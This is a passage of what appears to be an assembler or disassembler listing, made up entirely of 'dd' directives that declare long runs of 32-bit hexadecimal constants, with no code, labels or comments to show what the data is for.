		dd 0B00C534Eh, 468A0EE0h, 78DE1C5Fh, 83F2C1EEh,	0F5ABB452h
		dd 240C6295h, 66402A61h, 0B3EFEDBFh, 36BB0050h,	8937B262h
		dd 32B98D2Ch, 7919E989h, 43DEC2C2h, 4CD35F09h, 25859C58h
		dd 0E67FC6A9h, 0B77CB09Dh, 2A997B90h, 0B80CB09Fh, 7BF0001Ah
		dd 10747925h, 509CD6Ch,	795FDB0Fh, 0FF53A5FAh, 1C76D270h
		dd 437DB27h, 0AE5390F9h, 67EA3535h, 0E1B7714Fh,	15DB2A90h
		dd 90CCC09Ch, 81C28527h, 0A1F6CF05h, 0E38120E2h, 283A2F69h
		dd 8D34291Ah, 0F2B91BD1h, 8C1BB8h, 0FF77C18Dh, 0CCF8AA31h
		dd 7DF1A997h, 0A078FE7Bh, 0A236001Fh, 0EB21C78Ah, 56169D10h
		dd 32E98D01h, 0FF6A5F0Bh, 0F9C0C76Dh, 92A5B1Bh,	9D09DCBBh
		dd 60049DFAh, 15819533h, 417202EDh, 0DE6E610Dh,	8B952155h
		dd 1BA5099Dh, 3E4527ECh, 5F9B041h, 6DA9BF04h, 860AD381h
		dd 0A026A4B0h, 0E6011B10h, 65BD0370h, 0C9956F33h, 6D60C630h
		dd 413602CCh, 91C3A0B9h, 591FE5Eh, 75BE5B62h, 782D0074h
		dd 0CD996C05h, 6509C71Eh, 79F561F2h, 264A2BF1h,	14B90C7Ah
		dd 605AC1E3h, 5C2A720h,	0A488000Eh, 0DE3D2F03h,	5D00AC87h
		dd 718E4E7Ah, 2EA4293h,	0C63EE81h, 0DEF405D5h, 159D8982h
		dd 0C1561A2Ah, 825E2h, 5F53C82Bh, 3109D1F4h, 3B33098Dh
		dd 0CBF8FCD9h, 0CE43E681h, 0B3EDD064h, 72EE5B6Bh, 0BD2B28CCh
		dd 1C998Fh, 80F38107h, 4668332Eh, 989BE12h, 94E77931h
		dd 8C88B21h, 85295685h,	5BF142BFh, 95654CE9h, 0AAB8003Dh
		dd 438E7049h, 0B3244BF6h, 9589049Dh, 31AF23A5h,	102984C1h
		dd 5F850360h, 0DE7FB409h, 0A5836114h, 5FFE261Fh, 1A17BD08h
		dd 74094EF5h, 839C087h,	0F6FDCC25h, 0EE4B4BD6h,	6D898ADBh
		dd 335D8B02h, 56EF8120h, 53C0284Bh, 0CC5209Ch, 1232DB9Eh
		dd 0A7B293Dh, 94181759h, 1229A80Fh, 4558A0BFh, 0B217B906h
		dd 0D1CD951Bh, 77E7C4CFh, 0E3806EBCh, 7A1299DFh, 0E5690D00h
		dd 13657289h, 0BE9D00A0h, 9CE78134h, 1F4BC1FAh,	1DBFDC4h
		dd 96D910C0h, 9A4EA8CFh, 27E98C11h, 2C37FCh, 0E0165E48h
		dd 7F0AC82Eh, 0C92B644Bh, 3DDF8100h, 0B81D34C6h, 57D2271Dh
		dd 0ABB39A90h, 25C2D00h, 0B1E75626h, 0D24C1F13h, 7D624265h
		dd 27745FCCh, 25BD8978h, 46F716C9h, 661300D6h, 7680CB6Ch
		dd 4990EB85h, 4C1B0527h, 26ED9706h, 0F3BC1FE1h,	4B68BFC0h
		dd 79CDAAB3h, 9D082520h, 0D6BC2916h, 0E9160BD4h, 8301A86Ah
		dd 3A56F1B3h, 0D0B45DC0h, 2B1A9D5Fh, 52ED0043h,	0F42FF283h
		dd 1306AFFh, 0FCBF8FFh,	19931E8Eh, 0F497E5E8h, 561CAED9h
		dd 1907BD9Fh, 34A0C2D3h, 13136C6Eh, 4E72E99h, 9186D13h
		dd 4434D15Bh, 0BF805D79h, 0B9CB81F8h, 36AB1C63h, 8A7B2FB8h
		dd 0B82C46D8h, 0D0621DDFh, 0F46A744h, 313797h, 0D1AEDA10h
		dd 0BB1243E9h, 789BE1FFh, 4DC9638Fh, 0B4451FD1h, 0D2760CE1h
		dd 8A1520E7h, 0D117BE30h, 0D1C86019h, 5C704Bh, 18F744Eh
		dd 8889AB2Fh, 8B665905h, 3DF861DFh, 54470927h, 2C04AC38h
		dd 0BDC113E0h, 133279C2h, 0A2FC3777h, 37338C5Dh, 0B4B55B29h
		dd 6AC46057h, 0F1120A89h, 0B8312D3Fh, 0F423000Fh, 0EECA325Dh
		dd 9D5885D8h, 11C910CEh, 0C459C44Bh, 8632AE98h,	903574D9h
		dd 0D6ADD251h, 660007A8h, 0D963FBA8h, 739D23F7h, 0DEE49D79h
		dd 0AFDD074Ah, 0D1C3385Bh, 0FA8CCBD5h, 2EC5C16h, 398980CFh
		dd 0F32F52D1h, 7CA97867h, 6515CD02h, 57A058FCh,	0DED2D582h
		dd 8A1DEADCh, 83310F4Eh, 0D0585ADCh, 80B960h, 0BF01B6FBh
		dd 73DFA3D5h, 0FC906134h, 9F6A8BB4h, 0CFE020CDh, 5C9956Eh
		dd 0DD5469BAh, 55918CA3h, 90C1BC00h, 0AE323942h, 1870FB9h
		dd 14008CF7h, 0F54D68CAh, 8B26C300h, 243481FBh,	0DCF631B2h
		dd 5471BD12h, 0D615A99Fh
		dd 38A089B6h, 9704E303h, 0FC0CC895h, 66CCC5BCh,	0E425E97Eh
		dd 0D0717301h, 48D2B4E6h, 0E24BA9E3h, 7F630024h, 7417D3BCh
		dd 0D19D2F31h, 0BD5FAB04h, 307A5FB7h, 8D89DA0Bh, 0B35CB392h
		dd 0A5897169h, 4C005AE4h, 9FB4662Bh, 1315CBh, 0F862E490h
		dd 89569254h, 4559D11h,	128FBC77h, 78F65DFh, 0F4023D3Ah
		dd 563EBC38h, 7ED0F198h, 1A206E4h, 53FC3D7Ah, 3ABD9D29h
		dd 6696D8D1h, 0F9C64E3Fh, 0E0FAF6F3h, 2914DA3h,	9D0361E5h
		dd 635E2B51h, 0DCB456E9h, 61105F00h, 6CC05047h,	5A92489Dh
		dd 6801F771h, 0CC7D20A0h, 97CC90h, 84BE666Fh, 0D221EB87h
		dd 0D340E725h, 0B240481h, 33DC735Fh, 0D0879F37h, 9FF7E2BBh
		dd 1240F1C3h, 0F229A58Ch, 0E06BD228h, 8E1C4100h, 29322277h
		dd 34B5E416h, 14C806CFh, 9529F5C1h, 64F14FD6h, 53676015h
		dd 0C1F6C9F5h, 53AD7BFEh, 0E76E7067h, 0FC315900h, 0E9C16C64h
		dd 6028880Ch, 30745F8h,	0A20F569Eh, 66193EE0h, 8C2226BFh
		dd 62FF25F9h, 5A1E5C87h, 8BE1E9CDh, 0E7630DD5h,	405E2A00h
		dd 0A0E23F98h, 0C50A9225h, 2D4C1C59h, 90D1465Bh, 1751D26Eh
		dd 5E3FE903h, 0E09DA621h, 3995842Eh, 31A5BD89h,	957C5CE7h
		dd 0D7023135h, 7F9CFAB2h, 452DDD90h, 993A3700h,	346AED67h
		dd 0B4AC0010h, 8996191Dh, 324BFD95h, 501251CEh,	0E827FD04h
		dd 0D9C0AD5h, 1ABF5CEBh, 46F95B31h, 0DE250E00h,	1C9817Fh
		dd 14745DEEh, 22996D47h, 40BC42Ah, 25D37AFBh, 2532F9A4h
		dd 84B388C4h, 1034DD0h,	7836F526h, 638B5896h, 898D4B1Ch
		dd 39056E6Ah, 53B8A43Fh, 0FBDE4903h, 0ACB8BC89h, 747BFCC9h
		dd 0D649ACh, 564D06CFh,	816058BCh, 50F9CF0h, 179623DCh
		dd 67078BB2h, 0B015C4DDh, 0B658C2F3h, 7346F405h, 0FFB3C7BCh
		dd 0EA8A5905h, 66F9C061h, 4975FFBBh, 195F90BDh,	43740B22h
		dd 460C09D4h, 98989602h, 0FD107D4Fh, 4AB9A4CBh,	9800E1A8h
		dd 1BEC0C26h, 413D9D09h, 0B0122B15h, 7A507AE3h,	0DD284B49h
		dd 0D4EA3C59h, 299D1259h, 0DAD73FF2h, 0E6F48009h, 31308F3Dh
		dd 0F1F8688Dh, 0D33E0701h, 2E06A1AAh, 0EB814C34h, 123C20C2h
		dd 0FE6ABBC0h, 8B976FDCh, 801E8155h, 2F08C3h, 6812BF4Bh
		dd 9A9769CDh, 226631h, 8F293FA5h, 3EFD426Ch, 0ECCC509h
		dd 893F7971h, 0BE76B529h, 0DDCDF5A5h, 25EAD9E5h, 0E04AEF6h
		dd 0B8122BBDh, 0DFA68057h, 3D69F162h, 0DA8E0991h, 3500499Ah
		dd 0B748CFB6h, 4A0A9402h, 0F05E50B1h, 7512AA5Fh, 39809C37h
		dd 0E6B4FFD4h, 0C428507Dh, 0B2314A3Dh, 6DDAD301h, 0EF97ED80h
		dd 530535B7h, 96F05B29h, 1F7D61A2h, 0C07B6012h,	0EA1D77BFh
		dd 0B301A5D3h, 9C4AD622h, 0FC45078h, 0B31DC8Fh,	3F6D965Fh
		dd 0CD367AC3h, 0C99D45C0h, 711E9212h, 2CF828AEh, 0F8C8B3A3h
		dd 0CC03B2C9h, 910F1B0Dh, 0B38D88B7h, 9D9897B0h, 10BF781h
		dd 0E12B348Bh, 0B8041042h, 0F430A287h, 5500F6F1h, 5D7291D0h
		dd 4CBBCE90h, 510E4096h, 0B1D650AFh, 4E4B6C54h,	16C884DAh
		dd 678062C1h, 0A210E38h, 0DE13FD09h, 0F61DF4F1h, 9420A58h
		dd 0B014F1B5h, 4BF38055h, 3E84DD24h, 7820F9Ah, 6B6069B6h
		dd 6080303Dh, 0B705EE09h, 61CE1968h, 2529563Dh,	5B8604DDh
		dd 17A290BCh, 2B91E913h, 0BA4ABF00h, 0E63B3925h, 97F9EC9Bh
		dd 0BCF87884h, 14A9B44Fh, 0D100DAB8h, 0D074B97Dh, 581C42BFh
		dd 580E3569h, 6F32FFF2h, 0DCFF4ADEh, 2909F982h,	7909B99Dh
		dd 5818FA6Fh, 0CD048E12h, 0F886E67Fh, 0F75E6CBDh, 7FF5A04Eh
		dd 20E4001Eh, 80122F32h, 905EFFE7h, 0ADE002D4h,	49074601h
		dd 69FAC95h, 0B91699ABh, 0B795FC5Fh, 394186D7h,	5D13F8F7h
		dd 0DD7A4C55h, 0A42F300h, 8FCA7D28h, 76A48B97h,	0A728DC96h
		dd 1D5492F3h, 9DA990C4h, 37206A50h, 137F37F0h, 2800720h
		dd 0D5784B33h, 0D640E254h, 9057D7h, 17916F98h, 0B4559372h
		dd 5FF90417h, 0A3BC26F9h, 80D9FE3Eh, 85C9B6A7h,	966A2534h
		dd 1A09DEDDh, 54012F9Eh, 0E96A45D5h, 2ADBCAAh, 32ABA2F1h
		dd 6BC6FB38h, 6F61A800h, 2AA481E0h, 2BB2012Eh, 0A2EB8B9Ch
		dd 7EDEC52Dh, 556DC7DDh, 540216A8h, 0F2DA7CE0h,	59DD8247h
		dd 5E790910h, 80CDB7A7h, 5369F3D3h, 87E2BF9Dh, 6AC5B105h
		dd 0FEF6D1FFh, 47E0D5E3h, 0BB02E7B0h, 0F780C67Bh, 51827451h
		dd 0FBBB1062h, 4BE604A7h, 0C20B026Ah, 500023C9h, 271189BFh
		dd 768B255Ah, 53706A53h, 71270EBCh, 72E5EBCAh, 4E76CAC7h
		dd 781DEDAh, 6425B501h,	0B027E983h, 8889450Eh, 0CD495567h
		dd 8F6E4005h, 952C3160h, 79A78D41h, 75A00066h, 0D285B7BFh
		dd 0A750C404h, 24EEB2F2h, 9C1ABC6h, 43F615Bh, 9BB68427h
		dd 0C103C1A4h, 0C4CA898Dh, 0BD231A78h, 0B25E0D41h, 80A735EBh
		dd 8FBC7BF9h, 6C010959h, 805C8234h, 4D30F5DFh, 0C1CB12BFh
		dd 4EA4A250h, 9512B0h, 0EBDC32C7h, 3F25694Dh, 76D8A900h
		dd 6068F7CDh, 615A0953h, 3873905Bh, 0CF4D173h, 0BBB9343Ah
		dd 3EC9049Bh, 238FCFD0h, 0DE8BDF61h, 0E6CA743Ah, 5B00A790h
		dd 240F6699h, 24F5DEB7h, 0C607DED6h, 0B0EED2B7h, 20D48CF0h
		dd 4A41BF82h, 0E0A1AD1Dh, 9D6C2720h, 813AF31h, 1CA1209Dh
		dd 10A9B05Dh, 0E6172361h, 8004F870h, 56C01A68h,	71E400C9h
		dd 0F6EB81F9h, 424E9178h, 48E8A193h, 0E910212Dh, 0A2C04B26h
		dd 5FF2BB66h, 67B382h, 1CF781C1h, 9D73D203h, 0C5607207h
		dd 0D320BBFAh, 9D50234Bh, 2CA0A05Dh, 0F0DDF9ADh, 780100CEh
		dd 5BE580BBh, 119D6159h, 0AD14078Ah, 0A75F0045h, 8BC82B5Bh
		dd 0E2294ED1h, 62894FBCh, 0FBBD7510h, 24C40966h, 0DBF4858Bh
		dd 9E65182Fh, 98620A44h, 1AFA7F1h, 6DDBAAF7h, 91103A5Bh
		dd 93912AAh, 2B8278ECh,	17394DBDh, 0E1958910h, 8A470B44h
		dd 385D4C57h, 0F75B85BDh, 9D0B04E8h, 87E905F9h,	0BF802688h
		dd 5937EA0Ch, 0EDA108BBh, 0C9082ABCh, 95A8B22Fh, 3E896A69h
		dd 278A50CCh, 844C61CCh, 0BEE73E20h, 48EB0754h,	6A1C238Ch
		dd 0C33ADB84h, 0A8389E0Dh, 137ABEEBh, 0B2DBA021h, 656B004Bh
		dd 9444F8F2h, 95010B61h, 8BF62FB9h, 40A75C52h, 352C4032h
		dd 319F3A00h, 10B95F4Ah, 0D4FBF09h, 20F8DE40h, 6D4605C6h
		dd 0A23C4022h, 0C203004Bh, 0BFB5048h, 0A67101CBh, 0B08A95C9h
		dd 943360h, 22732C56h, 1E849C16h, 854E53h, 0BE3693A5h
		dd 1800559Fh, 8D4C68BBh, 4E5F5B02h, 0BF9580FCh,	743C0B7Dh
		dd 0A79BDF2Ah, 0FD18849Ch, 5F0EAF8Ch, 0C29E17B8h, 21FE8CC7h
		dd 2EBAF98Ah, 4B71AFCCh, 0D5A4B708h, 70AC0Eh, 0FE50452Ch
		dd 923F0868h, 0F972BE98h, 2F4EBD7Ch, 0DA5A918Ah, 5F809E8Eh
		dd 0D3BF7162h, 4EAC7128h, 3B879DD0h, 0FE807C9Ah, 0CD317867h
		dd 5C4E77E6h, 633D808Dh, 180517B8h, 0F0CE775Ah,	2A8101C1h
		dd 0C027FE04h, 0E94186A0h, 12D200D3h, 380BEA25h, 0B700043Ah
		dd 50A477B0h, 70B58947h, 3A5B817Dh, 6A4BC02Fh, 5A8F0037h
		dd 597A86D4h, 203C5FB3h, 8707AD03h, 1FE54F1Ch, 928F2F87h
		dd 1DECAEE0h, 0B5149D41h, 3EE17E70h, 8EC3069Bh,	0B8931152h
		dd 69095684h, 0A7ABD39Bh, 36049835h, 0F5C2D32Ch, 85705EBDh
		dd 8CE1FFFCh, 66BDC95Dh, 7C3E00A4h, 41EABB98h, 54276065h
		dd 0A7F6F95Ah, 5896445Dh, 0DF048C5Bh, 0E87DD12Eh, 0F86FA2BAh
		dd 0A6B79D43h, 0EEABDE03h, 9FFF5EFh, 0BEE95D3Eh, 0CA5CDA9Dh
		dd 0DC28BF01h, 283A5B8Eh
		dd 7FD24BAEh, 0E7B830B9h, 168F7309h, 48C0D127h,	6532D26h
		dd 5FE68D70h, 0A492C864h, 0B3B85807h, 1AC0C247h, 78FF4184h
		dd 0C7BA009Bh, 5E653F91h, 0B9BC60E9h, 1B3484C9h, 8C90F7E8h
		dd 0A222C113h, 0CF9B4AD2h, 0E9662884h, 12512E6h, 747AFEh
		dd 8B310E8Ch, 13FD70AEh, 4FCF894h, 0AF1B150Ch, 25BD9228h
		dd 10F1230Dh, 51595B69h, 0D87418Bh, 2CD10402h, 0D83B6090h
		dd 0C7F8DADDh, 0C2CAD297h, 310FD826h, 897ED5C6h, 0CA067200h
		dd 5ABD957Ah, 87905658h, 133965F0h, 0D1B3439h, 4875E063h
		dd 73E0A876h, 0E2003823h, 7679B713h, 1FFC78BCh,	9AFE7068h
		dd 0C071D03Dh, 0C7874F00h, 0D9A354h, 0D857EFB7h, 0FD047864h
		dd 0FA8BF0C6h, 0EB8797DAh, 3D6CB28Fh, 0F00171E6h, 382C95A3h
		dd 342F0AA5h, 0B1E70800h, 11D4EEA5h, 2BAE9DEh, 8D48D6BBh
		dd 4BBA7423h, 4DE5CDEh,	47B6BD0Dh, 51BCEBAFh, 0E8FEB7C4h
		dd 0A8DE4AD1h, 0C604ADC9h, 92CEE86Ch, 78C9FBDBh, 46D67376h
		dd 795D001Dh, 9DEFBD7Ch, 860928E3h, 4C9DAEB2h, 0BD09A5B7h
		dd 31760141h, 257E5AC8h, 8044500Fh, 0AF967900h,	0A65DC0E7h
		dd 1B82096Dh, 3A76468Ah, 1271B58Eh, 82A434ECh, 9C5D1C98h
		dd 4B8B7E34h, 0DE2EAC50h, 8FF5DF5Eh, 85BBC442h,	0DE4D491Dh
		dd 0D1704B07h, 9F510544h, 0E712F26Ah, 0EE006866h, 22C7859Ah
		dd 8AD662h, 0A8E99B3h, 0DBE7900Ch, 8B51F700h, 585F5BFBh
		dd 8803EC0Fh, 204EEB80h, 0B7FDC18Dh, 0E194B0B1h, 5F2D682Fh
		dd 18E0CFF6h, 81625E8h,	70B6880Fh, 0AC450D27h, 4FD24DA7h
		dd 13ABC980h, 212628AEh, 0DE5461h, 5305D971h, 0E24DDA79h
		dd 1D347EF5h, 0B9F496BCh, 0C8AA878h, 2A7E60EFh,	134AE560h
		dd 3189E9F3h, 0EF6707Eh, 0B76AEEACh, 852C8CECh,	0E9B28D54h
		dd 9C31F52h, 0D1F88AD8h, 682CDD75h, 964897D6h, 0DD09BBF8h
		dd 7E7C7019h, 0F300DC43h, 0C62914F6h, 9BAC7CDh,	699D8947h
		dd 0DAC09155h, 0D8E283Ah, 693FF48Ah, 2EBD1F82h,	0F425FC9Eh
		dd 407D4F03h, 0FB3EBBBCh, 5B132925h, 618A129Dh,	6209C5BFh
		dd 1A4E7665h, 0DCA44B9Dh, 0DF814073h, 345E0249h, 9F7D32E0h
		dd 93804ABDh, 0BFD99B29h, 0ED8C188Bh, 6A99031h,	6B5B5E82h
		dd 31B52E1h, 91261060h,	98AE4E0Bh, 315F514Bh, 0D320D5C9h
		dd 0E98D1201h, 0D0EAB210h, 3BFDFC5Ah, 0B77433ACh, 7A320FF0h
		dd 0A4B59052h, 1DE85BFFh, 0E02DE6D7h, 0DA7B2Fh,	0D7D37CA7h
		dd 0FDB589AAh, 3FBB2B8Ah, 29F7011Fh, 4083EE37h,	286595A5h
		dd 4EC2B788h, 0C85F9A61h, 78EAC116h, 0CE047E5Ah, 54E8BDB7h
		dd 0FACCBBC0h, 0E09C4891h, 0D46756EBh, 532D4000h, 83B0B3C1h
		dd 0FBCDB7C2h, 9960DE0h, 234D2085h, 0BB8E8897h,	0B484B116h
		dd 66C18FBCh, 3A9FA5BFh, 60BA8235h, 280185C1h, 95316CA0h
		dd 9984694Fh, 1BACA6B9h, 0C2AD388Ch, 0B90B5187h, 0CB8140FAh
		dd 6D2F4854h, 91D4B575h, 9AB48019h, 4A84D123h, 64CAFD76h
		dd 0A694D908h, 0A2D8A04h, 14BCC1EDh, 1DF0B8Ch, 0A35E0D9Dh
		dd 9C40B945h, 4BC08160h, 51033BFCh, 8B7052DCh, 2C69D2E8h
		dd 61019612h, 3B9DC0E9h, 0A31F0D13h, 0AD34881Dh, 218244C0h
		dd 792964Ch, 50537BCCh,	0C012ED7Bh, 4C726641h, 0FCC45769h
		dd 907BA5E5h, 59094324h, 0B203D323h, 61F661B2h,	64584D27h
		dd 7882601Ch, 92A7B02h,	23A8BE29h, 135405D1h, 0ECDC49AEh
		dd 7096D52Eh, 0D9D82C83h, 0FFC5A515h, 0B2EDCA38h, 1112CFECh
		dd 0A90495C5h, 800205B1h, 3A5DCBD7h, 93B57FB7h,	8F614800h
		dd 0EA26A734h, 55DB31FDh, 111B3568h, 13AA5EFh, 0EDB50148h
		dd 84E56928h, 0A7C0DEA1h, 78702A0Eh, 2CECB9h, 0D549C922h
		dd 38C01C33h, 0C9B50EB0h, 2C3A5B62h, 9402BF6Ch,	0E95DA614h
		dd 264B74CCh, 0E9291265h, 0B6E69695h, 207448A2h, 0B1BD0961h
		dd 0BB006F6Ch, 379BC67Ch, 0FC138A50h, 6FBA0489h, 0AF3C0093h
		dd 0BB7AD82Dh, 0F1F0C50Ch, 85FAFC0Bh, 0D18D890Fh, 0C0053DFCh
		dd 27550185h, 79976A4Eh, 0B872802Ah, 42B1546Dh,	0F064D000h
		dd 0C480EC5h, 0D27F61CEh, 2B4C65A9h, 34C0B39Bh,	1A5D0C4Dh
		dd 5A132378h, 10A11086h, 0C16E6Bh, 3F71E2F6h, 27EBEA85h
		dd 0AEF150A3h, 0AFC1B725h, 8DD1982h, 94B66A04h,	95091060h
		dd 0F19722A5h, 79DB6B61h, 588FF958h, 980486BCh,	0BC49F142h
		dd 0FFF5C097h, 9740B7D1h, 0B458A5E2h, 12D5ED95h, 25A09B7h
		dd 0F6A5FC37h, 96809D2Dh, 0D8414A50h, 495BA7A9h, 88F5970h
		dd 48635C1Ch, 0FB30DD09h, 0E9FC82E3h, 4C5E0CEBh, 8465B358h
		dd 40C56D97h, 6BD1DF0h,	0F3121FEAh, 13A6D1F5h, 0BE5FBEE4h
		dd 5404EEE4h, 28BC51C4h, 2DAFB8D7h, 0A744F921h,	0CC5BFD89h
		dd 0DE2E26h, 2B0FC7Dh, 0AD684932h, 1FF01D5Ah, 0B62A40EDh
		dd 9FB7FD5Bh, 0C1C6F825h, 0B8A0F1Ch, 0CFD3FC25h, 4582BFC0h
		dd 6A098456h, 0EA860FFFh, 0F8D677C0h, 9E59561h,	0AA95C404h
		dd 10B95994h, 0A99076B8h, 0D110E925h, 8EF4768h,	14F59D84h
		dd 3D80B00Bh, 62717DEBh, 9CF86D4Eh, 45F8B710h, 0AE482BB3h
		dd 378A5CFh, 0F78110E1h, 80624BA7h, 0D8529B3h, 8EBD1C4Bh
		dd 0E804ED90h, 0C634F950h, 78E382FCh, 2B109FFBh, 0B3C1C14Ah
		dd 0A50B2EDAh, 955B7056h, 0FB0F9D8Ch, 32B4397h,	9D31DE0Ch
		dd 0E32208EDh, 0FF1CCB03h, 3BDEA70Bh, 0DBE78180h, 971A295Ah
		dd 0A40D922Bh, 3612B179h, 4B2EDBB7h, 0ABB01E8Fh, 0AAC6204Ch
		dd 0E76D13B9h, 0A91D9C2Eh, 33B18700h, 58D444B8h, 98F99508h
		dd 19875A4h, 1207D38Fh,	0E246EF22h, 0B81F229Ch,	0A1A5F851h
		dd 0BBE8FE1Eh, 170348F9h, 0C2F86A40h, 33F2DB9Ch, 0C7C1955Ch
		dd 37694BF1h, 0A6010ABCh, 0F0B2C51Ch, 0D5396A43h, 60574BCh
		dd 0CD17E2D4h, 0B7DE11AAh, 0AF66845Fh, 769A2F75h, 78FFFDCh
		dd 65A0A0A4h, 0B99A4BB5h, 0F20B1C5Eh, 2F0C8423h, 7B68B112h
		dd 3B150D08h, 457E8DCAh, 0CF45BEF8h, 0B30AC02Bh, 0D2160805h
		dd 27CF9DC8h, 0C4778143h, 4B02F228h, 6B3E8FE7h,	0AC6C7274h
		dd 6518C4FBh, 0A423B82Eh, 5A806A9h, 707A3717h, 1FE70CC8h
		dd 0C05C01CAh, 0B638D0Dh, 2913A1F3h, 508DEE89h,	0F8EA8244h
		dd 13CD4A6Eh, 96FF63Bh,	5E157585h, 0B32F5E99h, 0C051CDADh
		dd 33403E7Eh, 34111B8h,	785D1B42h, 0CE14959Ch, 0CF957370h
		dd 0D2734048h, 0D412CFF2h, 0DA26EA5h, 57B7B100h, 0A3A7EF0h
		dd 0DEC8304Ah, 0DCBA95F9h, 0F650B27Bh, 42CE0139h, 4F102D17h
		dd 1963D4h, 979706Ah, 48FFC04Ch, 3317FAE1h, 181809E3h
		dd 5142C359h, 943D7D04h, 0CA3D8300h, 4156E4Fh, 0E4B59438h
		dd 0A2B7ACF9h, 0B162A39h, 91F127C9h, 0A4F08663h, 1F3B7ABAh
		dd 83C0C907h, 0B9F3239Ch, 78E6B360h, 5800A85Dh,	6D9BDDFCh
		dd 7B74465h, 0F8DBF9Fh,	0A858F933h, 1DC229Ch, 0BAA2C674h
		dd 2BF8FD14h, 3DDBC412h, 9E116682h, 2001A3C0h, 0D5397h
		dd 2EA1DE0Fh, 0C54A6EFFh, 0BF88D7D7h, 0FC0C8792h, 0BD03A0F7h
		dd 0CB0E4A09h, 174112BEh, 3380BDFDh, 3EABCE80h,	0E1B7EB00h
		dd 7E383F2Eh, 0C4DB4AB2h, 4DDEBBD1h, 357CBDC9h,	804A1310h
		dd 40BEBBC1h, 5B08B125h, 0A7E62CBAh, 6181F8B7h,	8B3AD99Ch
		dd 0A334EA54h, 0D6A9B8EFh, 94E08AACh, 574E500Eh, 1EC09CECh
		dd 44A5CAF3h, 5526E302h, 5D5F51A9h, 853AE443h, 2BC1D10Fh
		dd 8C5EE3A7h, 22E18B59h, 0BF661EBEh, 5658690Bh,	0E607DCD7h
		dd 9A3725F1h, 18E02EF5h
		dd 2B38950Bh, 0D009CF81h, 597EE080h, 13A6A4D7h,	0BDB89111h
		dd 0E93189D5h, 0BF2920C9h, 4A57F795h, 0EBE0D427h, 0D600937Ah
		dd 8E72E8CFh, 0F3A1F96Dh, 0ED7460FAh, 172A3041h, 0B073A7E2h
		dd 630EB01h, 0EF95BCE9h, 4925EC05h, 0A8BA7B1Ah,	0EA429D41h
		dd 2BC03157h, 5EAE171h,	0FB0EE089h, 0BF019993h,	437B126Ah
		dd 0B7B7022Bh, 0B8D696C5h, 0A8C32940h, 3F4C004Eh, 53C1D1B6h
		dd 1A05C9B5h, 56AA0E77h, 8380ECF8h, 0C5886559h,	430004F6h
		dd 0FA729CA4h, 79DB615Ch, 0E08B0EF9h, 5B235F0Dh, 90259650h
		dd 598B7BFAh, 12C41816h, 2CF5298Ah, 2AE3607Dh, 0F6B8598Ch
		dd 142B1C24h, 66A57E61h, 605ADB66h, 0ED0047F2h,	253A3B77h
		dd 8A243C42h, 76288DFEh, 7320574Fh, 3BAF2BFh, 50A7CE44h
		dd 74B058E0h, 122670FDh, 2D22E08Bh, 38670C44h, 0BF80391Bh
		dd 0AFF3F9ABh, 521C8C9Ah, 61495B51h, 2B6E658h, 0EC53C381h
		dd 0C1DE7E9Dh, 3684834Eh, 34D58029h, 52EC00F5h,	75034A97h
		dd 324A1690h, 1969FFC9h, 0BDF025BCh, 0D0BF0F2Fh, 22E120AEh
		dd 2298505Ch, 93E0B50Ah, 313B8D0h, 21BA9B4Ah, 6F8E0F59h
		dd 49EFD28Ch, 3898E387h, 889B61FBh, 12259578h, 0B2B92ED3h
		dd 8D31C1E5h, 392A1501h, 29A308C9h, 2B4D59FAh, 17213412h
		dd 172109FFh, 44771A5Eh, 6FD98CF9h, 414B4A0Eh, 0AE3B60F4h
		dd 5400760h, 617301EBh,	0FD1B8CC0h, 35C7DE01h, 5B80B363h
		dd 2676282Bh, 7C844384h, 0E2173921h, 6F5D040Dh,	10114066h
		dd 85170143h, 0A68B1569h, 0A002E64Ah, 12069085h, 12D3B8F8h
		dd 6A8AA5F6h, 0CE8083DEh, 32ECD508h, 0E48D834Ah, 4A493F30h
		dd 3B7BDD10h, 5545C8h, 0C0392031h, 592E337Fh, 4A969A00h
		dd 0F70FD15Ch, 0E29725BAh, 90B53FF0h, 387A3F8Fh, 13DF9FA8h
		dd 794AA1DFh, 8C16AC33h, 0CF57EC12h, 77A3F052h,	1D0E204Ah
		dd 0BB05A32Eh, 0A5766037h, 0EDB37721h, 8032342Bh, 7DC68104h
		dd 0FCE2AC4Bh, 725F9400h, 0EC65456Bh, 0C9D8A200h, 4F41F427h
		dd 9D233A7Fh, 5A4C17A0h, 31894A1Ch, 0F7B83829h,	1FD58D1Ch
		dd 6C76A980h, 99820FFBh, 59BF8543h, 321EB053h, 9BFFC883h
		dd 347D4E92h, 2ADAB115h, 86F64713h, 49183CE0h, 0A334964Fh
		dd 864849A8h, 0B3FFC312h, 6E4A47h, 0E77AAC00h, 0FF6967E5h
		dd 0A5B8334Fh, 0C4A9552Ah, 4510CD0Ch, 7BEFB886h, 56DF00D7h
		dd 5274739Eh, 8844D32Fh, 0D0007F13h, 0EBBDE01Bh, 18FB1E6Ch
		dd 0FC1A90C9h, 6D951C6Dh, 0E9EEE8C4h, 19752F5h,	39DBA1B5h
		dd 6C22EF80h, 71EDD0FFh, 25961640h, 0C9095B50h,	0A8FA53A5h
		dd 89F8D2FBh, 9616DE88h, 2356EC30h, 0E5C4002Dh,	0C6653726h
		dd 0B8095B71h, 76A0E9DCh, 1546D626h, 0B38D1F12h, 9571E79h
		dd 0E1EFD4Ch, 81B7255Fh, 42117D65h, 50C9017Fh, 0C2B00EBFh
		dd 7F0C311Ah, 92C0DCDBh, 16A8DBAAh, 59A0BA27h, 324200A4h
		dd 950A4189h, 4894CD00h, 935E0FC2h, 0BBFF2B21h,	95F42082h
		dd 33FF28A9h, 28C1E145h, 1C97752Bh, 2917524Dh, 0F9B1F30Ch
		dd 74FB3A02h, 0BED2133Bh, 52A8C734h, 0FA85A9A3h, 32000C7Ah
		dd 0B0B28557h, 8948DBB8h, 536B69DAh, 0F8B5AD52h, 0F3545700h
		dd 64830F98h, 0A2601B28h, 2E6F009Ch, 0B0FD345Dh, 0A83B05BDh
		dd 0D31D76h, 8A46DD88h,	592CEA83h, 9A60DE5Eh, 7638C01h
		dd 61716FF8h, 53D509C6h, 48417051h, 0A300E97Ch,	0BFF744A9h
		dd 5E0E146Ch, 0AC401233h, 89F6F5E3h, 0E9AEECA0h, 0FFF3ED1Ch
		dd 0A1BD0344h, 5228D4ACh, 5FBA84EFh, 0F356805Fh, 19050C02h
		dd 85950141h, 87A8DB94h, 0F1E489CEh, 5090051Ah,	0B0EB5E8Dh
		dd 1FEF6586h, 0EE4E2855h, 19C90AF7h, 897049E5h,	40966F95h
		dd 505AD351h, 0D7627D12h, 105DE009h, 0C2DEBF82h, 4C74B8A8h
